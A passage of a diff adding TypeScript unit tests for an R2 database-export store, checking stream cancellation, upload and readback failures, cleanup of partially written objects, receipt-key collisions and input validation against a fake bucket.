+          typeof nodeWorkerStreams.FixedLengthStream
+        >;
+
+        constructor(expectedLength: number) {
+          this.#fixed = new nodeWorkerStreams.FixedLengthStream(expectedLength);
+        }
+
+        get readable(): WorkerReadableStream<Uint8Array> {
+          if (property === 'readable') throw sentinel;
+          return this.#fixed.readable;
+        }
+
+        get writable(): WorkerWritableStream<Uint8Array> {
+          if (property === 'writable') throw sentinel;
+          return this.#fixed.writable;
+        }
+      }
+      const bucket = new FakeR2Bucket();
+      const source = streamFrom(bytes(1), { stayOpen: true });
+      const error = await rejection(
+        createStore(bucket, {
+          streams: {
+            ...nodeWorkerStreams,
+            FixedLengthStream: ThrowingFixedLengthStream,
+          },
+        }).write({
+          databaseId: 'db',
+          fileName: 'x.db',
+          body: source.body,
+          contentLength: 1,
+        }),
+        sentinel.message,
+      );
+      expect(error).toBe(sentinel);
+      expect(source.cancellations).toEqual([sentinel]);
+      expect(bucket.putCalls).toBe(0);
+      expect(bucket.deleteCalls).toHaveLength(0);
+      expect(bucket.objects).toHaveLength(0);
+    }
+  });
+
+  it('preserves a refusal when source cancellation rejects', async () => {
+    const bucket = new FakeR2Bucket();
+    const source = streamFrom(bytes(1), { rejectCancel: true });
+    await rejection(
+      createStore(bucket).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body: source.body,
+        contentLength: 0,
+      }),
+      'R2 export refuses an empty body',
+    );
+    expect(bucket.putCalls).toBe(0);
+    expect(source.cancellations).toHaveLength(1);
+  });
+
+  it('preserves a refusal when an injected cancel throws synchronously', async () => {
+    const bucket = new FakeR2Bucket();
+    const cancellations: unknown[] = [];
+    const body = {
+      locked: false,
+      cancel(reason: unknown): never {
+        cancellations.push(reason);
+        throw new Error('synchronous cancel failure');
+      },
+    } as unknown as ReadableStream<Uint8Array>;
+    const refusal = await rejection(
+      createStore(bucket).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body,
+        contentLength: 0,
+      }),
+      'R2 export refuses an empty body',
+    );
+    expect(cancellations).toHaveLength(1);
+    expect(cancellations[0]).toBe(refusal);
+    expect(bucket.putCalls).toBe(0);
+  });
+
+  it('refuses a locked body before starting a put', {
+    // Deliberately tight: a locked body must be refused, not waited on.
+    timeout: 2_000,
+  }, async () => {
+    const bucket = new FakeR2Bucket();
+    const { body } = streamFrom(bytes(1, 2));
+    body.getReader();
+    await rejection(
+      createStore(bucket).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body,
+        contentLength: 2,
+      }),
+      'R2 export body is locked',
+    );
+    expect(bucket.putCalls).toBe(0);
+    expect(bucket.deleteCalls).toHaveLength(0);
+    expect(bucket.objects.size).toBe(0);
+  });
+
+  it('reports malformed upload lengths without deleting an object', async () => {
+    for (const [expected, sourceBytes] of [
+      [4, bytes(1, 2)],
+      [1, bytes(1, 2)],
+    ] satisfies readonly (readonly [number, Uint8Array])[]) {
+      const bucket = new FakeR2Bucket();
+      const error = await rejection(
+        createStore(bucket).write({
+          databaseId: 'db',
+          fileName: 'x.db',
+          body: streamFrom(sourceBytes).body,
+          contentLength: expected,
+        }),
+        'R2 export upload failed',
+      );
+      expect(error.cause).toBeInstanceOf(Error);
+      if (!(error.cause instanceof Error)) throw new Error('expected cause');
+      expect(error.cause.message).toMatch(
+        exactly(
+          expected > sourceBytes.byteLength
+            ? 'FixedLengthStream did not see all expected bytes before close().'
+            : 'Attempt to write too many bytes through a FixedLengthStream.',
+        ),
+      );
+      expect(bucket.objects).toHaveLength(0);
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+  });
+
+  it('starts the put before piping the source', async () => {
+    const events: string[] = [];
+    const bucket = new FakeR2Bucket();
+    bucket.onPut = () => events.push('put');
+    const source = streamFrom(bytes(1, 2, 3, 4));
+    const body = {
+      locked: false,
+      pipeTo(destination: unknown): Promise<void> {
+        events.push('pipe');
+        return source.body.pipeTo(destination as WritableStream<Uint8Array>);
+      },
+    } as unknown as ReadableStream<Uint8Array>;
+
+    await within(
+      createStore(bucket).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body,
+        contentLength: 4,
+      }),
+      'ordered upload did not settle',
+    );
+
+    expect(events).toEqual(['put', 'pipe']);
+    expect(bucket.objects.get('db/uuid-1-x.db')).toEqual(bytes(1, 2, 3, 4));
+  });
+
+  it('does not pipe or await cancellation when put throws synchronously', async () => {
+    const sentinel = new Error('synchronous put failure');
+    const events: string[] = [];
+    const cancellations: unknown[] = [];
+    const bucket = {
+      put(): never {
+        events.push('put');
+        throw sentinel;
+      },
+      get(): never {
+        throw new Error('get must not run');
+      },
+      delete(): never {
+        throw new Error('delete must not run');
+      },
+    } as unknown as R2Bucket;
+    const body = {
+      locked: false,
+      cancel(reason: unknown): Promise<never> {
+        cancellations.push(reason);
+        return new Promise(() => undefined);
+      },
+      pipeTo(): Promise<void> {
+        events.push('pipe');
+        return Promise.resolve();
+      },
+    } as unknown as ReadableStream<Uint8Array>;
+
+    const error = await rejection(
+      within(
+        createStore(bucket).write({
+          databaseId: 'db',
+          fileName: 'x.db',
+          body,
+          contentLength: 1,
+        }),
+        'synchronous put handling did not settle',
+      ),
+      'R2 export upload failed',
+    );
+
+    expect(error.cause).toBe(sentinel);
+    expect(events).toEqual(['put']);
+    expect(cancellations).toEqual([sentinel]);
+  });
+
+  it('funnels a synchronous source pipe throw and settles the upload', async () => {
+    const sentinel = new Error('synchronous pipe failure');
+    const bucket = new FakeR2Bucket();
+    const body = {
+      locked: false,
+      pipeTo(): never {
+        throw sentinel;
+      },
+    } as unknown as ReadableStream<Uint8Array>;
+
+    const error = await rejection(
+      within(
+        createStore(bucket).write({
+          databaseId: 'db',
+          fileName: 'x.db',
+          body,
+          contentLength: 1,
+        }),
+        'synchronous pipe handling did not settle',
+      ),
+      'R2 export upload failed',
+    );
+
+    expect(error.cause).toBe(sentinel);
+    expect(bucket.putCalls).toBe(1);
+    expect(bucket.deleteCalls).toHaveLength(0);
+    expect(bucket.objects).toHaveLength(0);
+  });
+
+  it('aborts the source when put rejects prior to reading', async () => {
+    const bucket = new FakeR2Bucket();
+    bucket.putMode = 'reject-before';
+    const source = streamFrom(bytes(1, 2, 3), { stayOpen: true });
+    const error = await rejection(
+      createStore(bucket).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body: source.body,
+        contentLength: 3,
+      }),
+      'R2 export upload failed',
+    );
+    expect(error.cause).toBe(bucket.putError);
+    expect(source.cancellations).toHaveLength(1);
+    expect(source.cancellations[0]).toBe(bucket.putError);
+    expect(bucket.deleteCalls).toHaveLength(0);
+  });
+
+  it('reports a mid-stream put rejection and does not delete', async () => {
+    const bucket = new FakeR2Bucket();
+    bucket.putMode = 'reject-mid';
+    const error = await rejection(
+      createStore(bucket).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body: streamFrom(bytes(1, 2, 3, 4)).body,
+        contentLength: 4,
+      }),
+      'R2 export upload failed',
+    );
+    expect(error.cause).toBe(bucket.putError);
+    expect(bucket.deleteCalls).toHaveLength(0);
+  });
+
+  it('preserves an existing object after rejected and colliding puts', async () => {
+    const key = 'db/fixed-x.db';
+    const original = bytes(9, 9);
+    for (const mode of [
+      'reject-before',
+      'normal',
+    ] satisfies readonly PutMode[]) {
+      const bucket = new FakeR2Bucket();
+      bucket.objects.set(key, original.slice());
+      bucket.putMode = mode;
+      const message =
+        mode === 'normal'
+          ? 'R2 export key already exists'
+          : 'R2 export upload failed';
+      await rejection(
+        createStore(bucket, { randomUUID: () => 'fixed' }).write({
+          databaseId: 'db',
+          fileName: 'x.db',
+          body: streamFrom(bytes(1, 2)).body,
+          contentLength: 2,
+        }),
+        message,
+      );
+      expect(bucket.objects.get(key)).toEqual(original);
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+  });
+
+  it('aborts a source when a conditional put returns null before reading', {
+    // Deliberately tight: a never-closing source is aborted, not waited on.
+    timeout: 2_000,
+  }, async () => {
+    const bucket = new FakeR2Bucket();
+    bucket.putMode = 'null-before-read';
+    bucket.objects.set('db/uuid-1-x.db', bytes(9));
+    const source = streamFrom(bytes(1, 2), { stayOpen: true });
+    const error = await rejection(
+      createStore(bucket).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body: source.body,
+        contentLength: 2,
+      }),
+      'R2 export key already exists',
+    );
+    expect(source.cancellations).toHaveLength(1);
+    expect(source.cancellations[0]).toBe(error);
+    expect(bucket.objects.get('db/uuid-1-x.db')).toEqual(bytes(9));
+    expect(bucket.deleteCalls).toHaveLength(0);
+    expect(bucket.putCalls).toBe(1);
+  });
+
+  it('deletes an owned object when the pipe fails after put resolution', async () => {
+    const bucket = new FakeR2Bucket();
+    bucket.putResolveAfterBytes = 2;
+    const source = streamFrom(bytes(1, 2), { errorAfter: 2 });
+    const error = await rejection(
+      createStore(bucket).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body: source.body,
+        contentLength: 2,
+      }),
+      'R2 export body did not stream completely',
+    );
+    expect(error.cause).toBe(source.error);
+    expect(bucket.objects).toHaveLength(0);
+    expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']);
+  });
+
+  it('deletes an owned object for commit-size mismatch', async () => {
+    const bucket = new FakeR2Bucket();
+    bucket.putMode = 'size-mismatch';
+    await rejection(
+      createStore(bucket).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body: streamFrom(bytes(1, 2)).body,
+        contentLength: 2,
+      }),
+      'R2 export size differs from contentLength',
+    );
+    expect(bucket.objects).toHaveLength(0);
+  });
+
+  it('cleans up readback absence, metadata mismatch, short body, and pipe failure', async () => {
+    for (const [mode, message] of [
+      ['null', 'R2 export readback found no object'],
+      ['size-mismatch', 'R2 export readback size differs from contentLength'],
+      ['short', 'R2 export readback length differs from contentLength'],
+      ['read-error', 'R2 export readback failed'],
+      ['get-reject', 'R2 export readback failed'],
+    ] satisfies readonly (readonly [GetMode, string])[]) {
+      const bucket = new FakeR2Bucket();
+      bucket.getMode = mode;
+      const error = await rejection(
+        createStore(bucket).write({
+          databaseId: 'db',
+          fileName: 'x.db',
+          body: streamFrom(bytes(1, 2)).body,
+          contentLength: 2,
+        }),
+        message,
+      );
+      if (mode === 'read-error' || mode === 'get-reject') {
+        expect(error.cause).toBe(bucket.readError);
+      }
+      expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']);
+    }
+  });
+
+  it('reports a rejected digest promise as a readback failure', async () => {
+    const bucket = new FakeR2Bucket();
+    const sentinel = new Error('digest failed');
+    class RejectingDigestStream extends NodeDigestStream {
+      override readonly digest = Promise.reject(sentinel);
+    }
+    const error = await rejection(
+      createStore(bucket, {
+        streams: {
+          ...nodeWorkerStreams,
+          DigestStream: RejectingDigestStream,
+        },
+      }).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body: streamFrom(bytes(1, 2)).body,
+        contentLength: 2,
+      }),
+      'R2 export readback failed',
+    );
+    expect(error.cause).toBe(sentinel);
+    expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']);
+  });
+
+  it('reports a digest constructor failure as a readback failure', async () => {
+    const bucket = new FakeR2Bucket();
+    const sentinel = new Error('digest constructor failed');
+    class ThrowingDigestStream extends WritableStream<
+      ArrayBuffer | ArrayBufferView
+    > {
+      declare readonly digest: Promise<ArrayBuffer>;
+      declare readonly bytesWritten: number | bigint;
+
+      constructor(_algorithm: 'SHA-256') {
+        super();
+        throw sentinel;
+      }
+    }
+    const error = await rejection(
+      createStore(bucket, {
+        streams: {
+          ...nodeWorkerStreams,
+          DigestStream: ThrowingDigestStream,
+        },
+      }).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body: streamFrom(bytes(1, 2)).body,
+        contentLength: 2,
+      }),
+      'R2 export readback failed',
+    );
+    expect(error.cause).toBe(sentinel);
+    expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']);
+  });
+
+  it('cleans owned objects when upload and stored metadata getters throw', async () => {
+    for (const target of [
+      'uploaded-size',
+      'stored-size',
+      'stored-body',
+    ] as const) {
+      const sentinel = new Error(`${target} failed`);
+      const bucket = new FakeR2Bucket();
+      if (target === 'uploaded-size') {
+        bucket.transformPutResult = (object) =>
+          throwingProperty(object, 'size', sentinel);
+      } else {
+        bucket.transformGetResult = (object) =>
+          throwingProperty(
+            object,
+            target === 'stored-size' ? 'size' : 'body',
+            sentinel,
+          );
+      }
+      const error = await rejection(
+        createStore(bucket).write({
+          databaseId: 'db',
+          fileName: 'x.db',
+          body: streamFrom(bytes(1, 2)).body,
+          contentLength: 2,
+        }),
+        target === 'uploaded-size'
+          ? 'R2 export upload failed'
+          : 'R2 export readback failed',
+      );
+      expect(error.cause).toBe(sentinel);
+      expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']);
+      expect(bucket.objects).toHaveLength(0);
+    }
+  });
+
+  it('cleans owned objects when digest reads and conversions throw', async () => {
+    for (const target of [
+      'digest',
+      'bytes-written',
+      'bytes-number',
+      'hex',
+    ] as const) {
+      const sentinel = new Error(`${target} failed`);
+      class ThrowingDigestRead extends WritableStream<
+        ArrayBuffer | ArrayBufferView
+      > {
+        constructor(_algorithm: 'SHA-256') {
+          super();
+        }
+
+        get digest(): Promise<ArrayBuffer> {
+          if (target === 'digest') throw sentinel;
+          if (target === 'hex') {
+            const malformed = new Proxy(Object.create(null), {
+              get(_target, property): unknown {
+                if (property === 'then') return undefined;
+                throw sentinel;
+              },
+            });
+            return Promise.resolve(malformed as ArrayBuffer);
+          }
+          return Promise.resolve(new Uint8Array(32).buffer);
+        }
+
+        get bytesWritten(): number | bigint {
+          if (target === 'bytes-written') throw sentinel;
+          if (target === 'bytes-number') {
+            return {
+              [Symbol.toPrimitive](): never {
+                throw sentinel;
+              },
+            } as unknown as number;
+          }
+          return 2;
+        }
+      }
+      const bucket = new FakeR2Bucket();
+      const error = await rejection(
+        createStore(bucket, {
+          streams: {
+            ...nodeWorkerStreams,
+            DigestStream: ThrowingDigestRead,
+          },
+        }).write({
+          databaseId: 'db',
+          fileName: 'x.db',
+          body: streamFrom(bytes(1, 2)).body,
+          contentLength: 2,
+        }),
+        'R2 export readback failed',
+      );
+      expect(error.cause).toBe(sentinel);
+      expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']);
+      expect(bucket.objects).toHaveLength(0);
+    }
+  });
+
+  it('does not await a pending digest after a readback pipe failure', async () => {
+    const readError = new Error('readback pipe failed');
+    const digestAborts: unknown[] = [];
+    class PendingDigestStream extends WritableStream<
+      ArrayBuffer | ArrayBufferView
+    > {
+      readonly digest = new Promise<ArrayBuffer>(() => undefined);
+      readonly bytesWritten = 0;
+
+      constructor(_algorithm: 'SHA-256') {
+        super();
+      }
+
+      override abort(reason?: unknown): Promise<void> {
+        digestAborts.push(reason);
+        return super.abort(reason);
+      }
+    }
+    const bucket = new FakeR2Bucket();
+    bucket.transformGetResult = (object) => {
+      Object.defineProperty(object, 'body', {
+        configurable: true,
+        enumerable: true,
+        value: {
+          pipeTo(): never {
+            throw readError;
+          },
+        } as unknown as WorkerReadableStream<Uint8Array>,
+      });
+      return object;
+    };
+    const error = await rejection(
+      within(
+        createStore(bucket, {
+          streams: {
+            ...nodeWorkerStreams,
+            DigestStream: PendingDigestStream,
+          },
+        }).write({
+          databaseId: 'db',
+          fileName: 'x.db',
+          body: streamFrom(bytes(1, 2)).body,
+          contentLength: 2,
+        }),
+        'readback failure awaited a pending digest',
+      ),
+      'R2 export readback failed',
+    );
+    expect(error.cause).toBe(readError);
+    expect(digestAborts).toEqual([readError]);
+    expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']);
+    expect(bucket.objects).toHaveLength(0);
+  });
+
+  it('prefers a readback pipe failure over an observed digest rejection', async () => {
+    const readError = new Error('readback pipe failed');
+    const digestError = new Error('digest failed first');
+    class RejectedDigestStream extends WritableStream<
+      ArrayBuffer | ArrayBufferView
+    > {
+      readonly digest = Promise.reject(digestError);
+      readonly bytesWritten = 0;
+
+      constructor(_algorithm: 'SHA-256') {
+        super();
+      }
+    }
+    const bucket = new FakeR2Bucket();
+    bucket.transformGetResult = (object) => {
+      Object.defineProperty(object, 'body', {
+        configurable: true,
+        enumerable: true,
+        value: {
+          pipeTo(): Promise<never> {
+            return Promise.reject(readError);
+          },
+        } as unknown as WorkerReadableStream<Uint8Array>,
+      });
+      return object;
+    };
+    const error = await rejection(
+      createStore(bucket, {
+        streams: {
+          ...nodeWorkerStreams,
+          DigestStream: RejectedDigestStream,
+        },
+      }).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body: streamFrom(bytes(1, 2)).body,
+        contentLength: 2,
+      }),
+      'R2 export readback failed',
+    );
+    expect(error.cause).toBe(readError);
+    expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']);
+    expect(bucket.objects).toHaveLength(0);
+  });
+
+  it('aggregates an owned failure with a cleanup rejection', async () => {
+    const bucket = new FakeR2Bucket();
+    bucket.getMode = 'null';
+    bucket.deleteError = new Error('delete failed');
+    const error = await rejection(
+      createStore(bucket).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body: streamFrom(bytes(1)).body,
+        contentLength: 1,
+      }),
+      'database export and R2 cleanup failed',
+    );
+    expect(error).toBeInstanceOf(AggregateError);
+    if (!(error instanceof AggregateError))
+      throw new Error('expected aggregate');
+    expect(error.errors[0]).toBeInstanceOf(Error);
+    const exportError = error.errors[0];
+    if (!(exportError instanceof Error)) throw new Error('expected Error');
+    expect(exportError.message).toMatch(
+      exactly('R2 export readback found no object'),
+    );
+    expect(error.errors[1]).toBe(bucket.deleteError);
+  });
+
+  it('funnels a synchronous bucket throw into the fixed messages', async () => {
+    const sentinel = new Error('sync bucket failure');
+    class ThrowingGetBucket extends FakeR2Bucket {
+      override get(): never {
+        throw sentinel;
+      }
+    }
+    const getBucket = new ThrowingGetBucket();
+    const readbackError = await rejection(
+      createStore(getBucket).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body: streamFrom(bytes(1, 2)).body,
+        contentLength: 2,
+      }),
+      'R2 export readback failed',
+    );
+    expect(readbackError.cause).toBe(sentinel);
+    expect(getBucket.deleteCalls).toEqual(['db/uuid-1-x.db']);
+    expect(getBucket.objects.size).toBe(0);
+
+    class ThrowingDeleteBucket extends FakeR2Bucket {
+      override delete(): never {
+        throw sentinel;
+      }
+    }
+    const deleteBucket = new ThrowingDeleteBucket();
+    deleteBucket.getMode = 'null';
+    const aggregate = await rejection(
+      createStore(deleteBucket).write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body: streamFrom(bytes(1, 2)).body,
+        contentLength: 2,
+      }),
+      'database export and R2 cleanup failed',
+    );
+    expect(aggregate).toBeInstanceOf(AggregateError);
+    if (!(aggregate instanceof AggregateError))
+      throw new Error('expected aggregate');
+    expect(aggregate.errors[0]).toBeInstanceOf(Error);
+    const exportError = aggregate.errors[0];
+    if (!(exportError instanceof Error)) throw new Error('expected Error');
+    expect(exportError.message).toMatch(
+      exactly('R2 export readback found no object'),
+    );
+    expect(aggregate.errors[1]).toBe(sentinel);
+  });
+
+  it('uses a fresh key when retrying after a rejected put', async () => {
+    for (const [mode, body] of [
+      ['reject-before', bytes(1)],
+      ['reject-mid', bytes(1, 2, 3, 4)],
+    ] satisfies readonly (readonly [PutMode, Uint8Array])[]) {
+      const bucket = new FakeR2Bucket();
+      let attempt = 0;
+      const store = createStore(bucket, {
+        randomUUID: () => `uuid-${++attempt}`,
+      });
+      bucket.putMode = mode;
+      await rejection(
+        store.write({
+          databaseId: 'db',
+          fileName: 'x.db',
+          body: streamFrom(body).body,
+          contentLength: body.byteLength,
+        }),
+        'R2 export upload failed',
+      );
+      expect(bucket.deleteCalls).toHaveLength(0);
+      expect(bucket.objects.size).toBe(0);
+      bucket.putMode = 'normal';
+      const result = await store.write({
+        databaseId: 'db',
+        fileName: 'x.db',
+        body: streamFrom(body).body,
+        contentLength: body.byteLength,
+      });
+      expect(result.location).toBe('r2://exports/db/uuid-2-x.db');
+      expect(bucket.objects.get('db/uuid-2-x.db')).toEqual(body);
+    }
+  });
+
+  it('validates constructor inputs and key components with fixed messages', async () => {
+    const bucket = new FakeR2Bucket();
+    const bucketMessage =
+      'R2DatabaseExportStore requires the Workers R2Bucket put/get/delete interface';
+    const streamsMessage =
+      'R2DatabaseExportStore requires the Workers DigestStream and FixedLengthStream constructors';
+    const validOptions = {
+      bucket,
+      bucketName: 'exports',
+      streams: nodeWorkerStreams,
+      randomUUID: () => 'uuid',
+    };
+    for (const [override, message] of [
+      [{ bucket: Object.create(null) }, bucketMessage],
+      [{ bucket: { get() {}, delete() {} } }, bucketMessage],
+      [{ bucket: { put() {}, delete() {} } }, bucketMessage],
+      [{ bucket: { put() {}, get() {} } }, bucketMessage],
+      [{ bucket: undefined }, bucketMessage],
+      [{ streams: Object.create(null) }, streamsMessage],
+      [
+        { streams: { FixedLengthStream: nodeWorkerStreams.FixedLengthStream } },
+        streamsMessage,
+      ],
+      [
+        { streams: { DigestStream: nodeWorkerStreams.DigestStream } },
+        streamsMessage,
+      ],
+      [{ streams: undefined }, streamsMessage],
+      [
+        { randomUUID: undefined },
+        'R2DatabaseExportStore requires a randomUUID function',
+      ],
+    ] satisfies readonly (readonly [Record<string, unknown>, string])[]) {
+      expect(() =>
+        Reflect.construct(R2DatabaseExportStore, [
+          { ...validOptions, ...override },
+        ]),
+      ).toThrow(exactly(message));
+    }
+    expect(() => createStore(bucket, { bucketName: '../bad' })).toThrow(
+      exactly('R2 export bucketName must be one portable path segment'),
+    );
+    expect(() => createStore(bucket, { keyPrefix: 'exports' })).toThrow(
+      exactly(
+        'R2 export keyPrefix must be portable path segments each followed by /',
+      ),
+    );
+    expect(() => createStore(bucket, { keyPrefix: 'bad//path/' })).toThrow(
+      exactly(
+        'R2 export keyPrefix must be portable path segments each followed by /',
+      ),
+    );
+
+    for (const [field, value, message] of [
+      [
+        'databaseId',
+        '../db',
+        'R2 export databaseId must be one portable path segment',
+      ],
+      ['fileName', '../x', 'export fileName must be one portable path segment'],
+    ] satisfies readonly (readonly [string, string, string])[]) {
+      const source = streamFrom(bytes(1), { stayOpen: true });
+      await rejection(
+        createStore(bucket).write({
+          databaseId: field === 'databaseId' ? value : 'db',
+          fileName: field === 'fileName' ? value : 'x.db',
+          body: source.body,
+          contentLength: 1,
+        }),
+        message,
+      );
+      expect(source.cancellations).toHaveLength(1);
+      expect(bucket.putCalls).toBe(0);
+    }
+  });
+
+  it('accepts a multi-segment key prefix', async () => {
+    const bucket = new FakeR2Bucket();
+    const result = await createStore(bucket, { keyPrefix: 'a/b/' }).write({
+      databaseId: 'db',
+      fileName: 'x.db',
+      body: streamFrom(bytes(1)).body,
+      contentLength: 1,
+    });
+    expect(result.location).toBe('r2://exports/a/b/db/uuid-1-x.db');
+  });
+
+  it('uses one canonical receipt key and exact metadata without minting a UUID', async () => {
+    const bucket = new FakeR2Bucket();
+    const source = bytes(1, 2, 3, 4);
+    let uuidCalls = 0;
+    const store = createStore(bucket, {
+      keyPrefix: 'tenant/exports/',
+      randomUUID: () => {
+        uuidCalls += 1;
+        throw new Error('receipt mode must not mint a UUID');
+      },
+    });
+    expect(store.receiptAuthority).toBe(
+      'r2://exports/tenant/exports/receipts/v1',
+    );
+    const identity = receiptIdentity(store);
+    const result = await writeReceipt(store, source, { identity });
+    const key = receiptKey('tenant/exports/');
+    expect(result).toEqual({
+      location: `r2://exports/${key}`,
+      ...integrityOf(source),
+    });
+    expect(bucket.objects.get(key)).toEqual(source);
+    expect(bucket.customMetadata.get(key)).toEqual(
+      receiptMetadataFor(identity),
+    );
+    expect(Object.keys(bucket.customMetadata.get(key) ?? {})).toHaveLength(4);
+    expect(bucket.putCalls).toBe(1);
+    expect(bucket.deleteCalls).toHaveLength(0);
+    expect(uuidCalls).toBe(0);
+
+    const controlledBucket = new FakeR2Bucket();
+    const controlledStore = createStore(controlledBucket);
+    let signalPutStarted!: () => void;
+    let signalPipeStarted!: () => void;
+    let resolveExpected!: (value: DatabaseExportIntegrity) => void;
+    const putStarted = new Promise<void>((resolve) => {
+      signalPutStarted = resolve;
+    });
+    const pipeStarted = new Promise<void>((resolve) => {
+      signalPipeStarted = resolve;
+    });
+    const expected = new Promise<DatabaseExportIntegrity>((resolve) => {
+      resolveExpected = resolve;
+    });
+    controlledBucket.onPut = signalPutStarted;
+    const streamed = streamFrom(source).body;
+    const controlledBody = {
+      get locked() {
+        return streamed.locked;
+      },
+      pipeTo(
+        destination: WritableStream<Uint8Array>,
+        options?: StreamPipeOptions,
+      ) {
+        signalPipeStarted();
+        return streamed.pipeTo(destination, options);
+      },
+      cancel(reason?: unknown) {
+        return streamed.cancel(reason);
+      },
+    } as ReadableStream<Uint8Array>;
+    const operation = writeReceipt(controlledStore, source, {
+      body: controlledBody,
+      expectedIntegrity: expected,
+      identity: receiptIdentity(controlledStore, {
+        operationId: '55555555-5555-4555-8555-555555555555',
+      }),
+    });
+    await within(
+      Promise.all([putStarted, pipeStarted]),
+      'receipt upload awaited expected integrity before streaming',
+    );
+    resolveExpected(integrityOf(source));
+    await expect(operation).resolves.toMatchObject(integrityOf(source));
+  });
+
+  it('converges exact sequential and conditional receipt collisions', async () => {
+    const source = bytes(5, 6, 7, 8);
+    const sequentialBucket = new FakeR2Bucket();
+    const sequentialStore = createStore(sequentialBucket);
+    const first = await writeReceipt(sequentialStore, source);
+    const replayBody = streamFrom(source, { stayOpen: true });
+    const replay = await writeReceipt(sequentialStore, source, {
+      body: replayBody.body,
+    });
+    expect(replay).toEqual(first);
+    expect(replayBody.cancellations).toHaveLength(1);
+    expect(sequentialBucket.putCalls).toBe(1);
+    expect(sequentialBucket.objects).toHaveLength(1);
+
+    const concurrentBucket = new FakeR2Bucket();
+    const concurrentStore = createStore(concurrentBucket);
+    const results = await Promise.all([
+      writeReceipt(concurrentStore, source),
+      writeReceipt(concurrentStore, source),
+    ]);
+    expect(results[0]).toEqual(results[1]);
+    expect(results[0]).toEqual({
+      location: `r2://exports/${receiptKey()}`,
+      ...integrityOf(source),
+    });
+    expect(concurrentBucket.objects).toHaveLength(1);
+    expect(concurrentBucket.putCalls).toBe(2);
+    expect(concurrentBucket.deleteCalls).toHaveLength(0);
+  });
+
+  it('recovers an exact commit whose put response is lost', async () => {
+    const source = bytes(9, 10, 11, 12);
+    const committedBucket = new FakeR2Bucket();
+    committedBucket.putMode = 'reject-after-commit';
+    const committedStore = createStore(committedBucket);
+    await expect(writeReceipt(committedStore, source)).resolves.toEqual({
+      location: `r2://exports/${receiptKey()}`,
+      ...integrityOf(source),
+    });
+    expect(committedBucket.objects.get(receiptKey())).toEqual(source);
+    expect(committedBucket.deleteCalls).toHaveLength(0);
+
+    for (const mode of [
+      'reject-before',
+      'reject-mid',
+    ] satisfies readonly PutMode[]) {
+      const absentBucket = new FakeR2Bucket();
+      absentBucket.putMode = mode;
+      const error = await rejection(
+        within(
+          writeReceipt(createStore(absentBucket), source),
+          `${mode} recovery did not settle`,
+        ),
+        'R2 export upload failed',
+      );
+      expect(error.cause).toBe(absentBucket.putError);
+      expect(absentBucket.objects).toHaveLength(0);
+      expect(absentBucket.deleteCalls).toHaveLength(0);
+    }
+
+    const synchronousBucket = new FakeR2Bucket();
+    const synchronousError = new Error('synchronous put failure');
+    Object.defineProperty(synchronousBucket, 'put', {
+      value(): never {
+        throw synchronousError;
+      },
+    });
+    const synchronousResult = await rejection(
+      within(
+        writeReceipt(createStore(synchronousBucket), source),
+        'synchronous put recovery did not settle',
+      ),
+      'R2 export upload failed',
+    );
+    expect(synchronousResult.cause).toBe(synchronousError);
+    expect(synchronousBucket.objects).toHaveLength(0);
+    expect(synchronousBucket.deleteCalls).toHaveLength(0);
+  });
+
+  it('preserves unowned or ambiguous mismatched receipt winners', async () => {
+    const source = bytes(1, 3, 5, 7);
+    const winner = bytes(2, 4, 6, 8);
+    for (const mode of [
+      'null-before-read',
+      'reject-before',
+    ] satisfies readonly PutMode[]) {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      bucket.putMode = mode;
+      bucket.onPut = () => seedReceipt(bucket, store, winner);
+      await rejection(
+        within(writeReceipt(store, source), `${mode} mismatch did not settle`),
+        'database export receipt collision differs from the committed export',
+      );
+      expect(bucket.objects.get(receiptKey())).toEqual(winner);
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    for (const metadataMutation of [
+      (metadata: Record<string, string>) => {
+        Reflect.deleteProperty(metadata, 'anchorageOperationId');
+      },
+      (metadata: Record<string, string>) => {
+        metadata.extra = 'no';
+      },
+      (metadata: Record<string, string>) => {
+        metadata.anchorageReceiptAuthority = 'r2://other/receipts/v1';
+      },
+    ]) {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      const customMetadata = receiptMetadataFor(receiptIdentity(store));
+      metadataMutation(customMetadata);
+      seedReceipt(bucket, store, winner, customMetadata);
+      await rejection(
+        writeReceipt(store, source),
+        'database export receipt collision differs from the committed export',
+      );
+      expect(bucket.objects.get(receiptKey())).toEqual(winner);
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+  });
+
+  it('fails closed on malformed receipt, integrity, key, and readback boundaries', async () => {
+    const source = bytes(13, 14, 15, 16);
+    const malformedIdentities: readonly (readonly [unknown, string])[] = [
+      [
+        {
+          ...receiptIdentity(createStore(new FakeR2Bucket())),
+          databaseId: 'AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA',
+        },
+        'database export receipt identity is malformed',
+      ],
+      [
+        { ...receiptIdentity(createStore(new FakeR2Bucket())), version: 2 },
+        'database export receipt identity is malformed',
+      ],
+      [
+        { ...receiptIdentity(createStore(new FakeR2Bucket())), extra: true },
+        'database export receipt identity is malformed',
+      ],
+      [
+        Object.assign(
